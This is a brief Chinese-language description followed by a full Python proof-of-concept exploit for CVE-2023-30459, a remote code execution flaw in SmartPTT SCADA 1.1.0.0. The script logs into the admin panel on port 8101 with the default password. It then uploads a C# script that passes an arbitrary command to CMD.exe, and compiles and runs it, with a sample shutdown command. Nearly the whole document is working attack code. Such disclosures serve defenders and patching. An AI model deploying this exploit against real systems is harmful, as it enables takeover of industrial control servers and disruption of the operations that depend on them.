SmartPTT SCADA 1.1.0.0 允许通过编写恶意 C# 脚本并在服务器上执行(默认情况下通过端口 8101 上的管理员控制面板中的服务器设置)来远程执行代码(当攻击者具有管理员权限时)。
如何使用:
python CVE-2023-30459.py -t 127.0.0.1 -p elcomplus -cmd "shutdown /s /t 30"
概念验证(项目地址):
https://github.com/Toxich4/CVE-2023-30459
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Exploit Title: SmartPTT Scada 1.1.0.0 - Remote Code Execution
#
# Exploit Author: Toxi4
# CVE: *
# Date: 2023/03/29
# Vulnerability discovered by Anton Kartunov
# Vendor Homepage: https://smartptt.com
# Software Link: https://dl.smartptt.com/scada/SmartPTT-SCADA-1.1.0.0.zip
# Version: <= 1.1.0.0
# Tested on: Windows10x64 - SmartPTT Scada 1.1.0.0 - Remote Code Execution
#
#SmartPTT SCADA 1.1.0.0 allows remote code execution (when the attacker has administrator privileges)
#by writing a malicious C# script and executing it on the server
#(via server settings in the administrator control panel on port 8101, by default).
#
# Usage example: python CVE-2023-30459.py -t 192.168.0.103 -p elcomplus -cmd "shutdown /s /t 30"
import requests
import argparse
import random
import string
import sys
import re
help = "SmartPTT Scada 1.1.0.0 - Remote Code Execution"
parser = argparse.ArgumentParser(description=help)
parser.add_argument("-t", "--target", help="Target IP", required=True)
parser.add_argument("-p", "--password", help="Password", default="elcomplus")
parser.add_argument("-cmd", "--command", help="Command", default="shutdown /s /t 30")
args = parser.parse_args()
host = args.target
password = args.password
cmd = args.command
port = 8101 # Default Port
s = requests.Session()
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def random_string(chars):
choices = []
for _ in range(chars):
choices.append(random.choice(string.ascii_letters))
return "".join(choices)
def auth():
url = "http://{}:{}/auth.html".format(host, port)
data = "auth_password={}".format(password)
try:
s.post(url, data=data, headers = headers)
print("[+] Authorization successful")
except Exception as e:
print("[-] Can't authorize")
print(e)
sys.exit()
def Create_file():
url = "http://{}:{}/scripts.html".format(host, port)
filename = random_string(5) + ".cs"
data = "FileName={}&script_add=Add+Script".format(filename)
try:
s.post(url, data=data, headers = headers)
print("[+] New script file created: ", filename)
except Exception as e:
print("[-] Can't create cs file")
print(e)
sys.exit()
def Guid():
url = "http://{}:{}/scripts.html".format(host, port)
try:
GetGuid = s.get(url)
Guid = re.search('<input type="text" name="script_guid" value="([\w\W]*?)"', str(GetGuid.content)).group(1)
print("[+] Guid of first script at list: ", Guid)
return Guid
except Exception as e:
print("[-] Can't find token")
print(e)
sys.exit()
def Create_Script(Guid):
url = "http://{}:{}/script_edit.html".format(host, port)
script = """
using System;
using System.Reflection;
using System.Collections.Generic;
using Engine;
using Logging;
namespace CustomScript
{
public class CustomScript
{
static CustomScript()
{
Log.Message("Init script!");
}
public object Run(Scripts.ScriptEnvironment env)
{
try
{
System.Diagnostics.Process.Start("CMD.exe", "/c """+ cmd +"""");
}
catch (Exception objException)
{
}
return 0;
}
}
}
"""
try:
s.post(url, files={'script_code_save': (None, ''), 'script_guid': (None, Guid), 'script_code': (None, script)})
print("[+] Script successfully created")
except Exception as e:
pass
def Compile_script(Guid):
url = "http://{}:{}/script_edit.html?action=script_compile&script_guid={}".format(host, port, Guid)
try:
s.post(url)
s.post(url)
print("[+] Script successfully compile")
except Exception as e:
print("[-] Can't compile script")
print(e)
sys.exit()
def Run_script(Guid):
url = "http://{}:{}/script_edit.html?action=script_run&script_guid={}".format(host, port, Guid)
try:
s.post(url)
print("[+] Script is runing ...")
except Exception as e:
print("[-] Something went wrong")
print(e)
sys.exit()
def main():
auth()
Create_file()
guid = Guid()
Create_Script(guid)
Compile_script(guid)
Run_script(guid)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print('Interrupted by users...')
except:
sys.exit()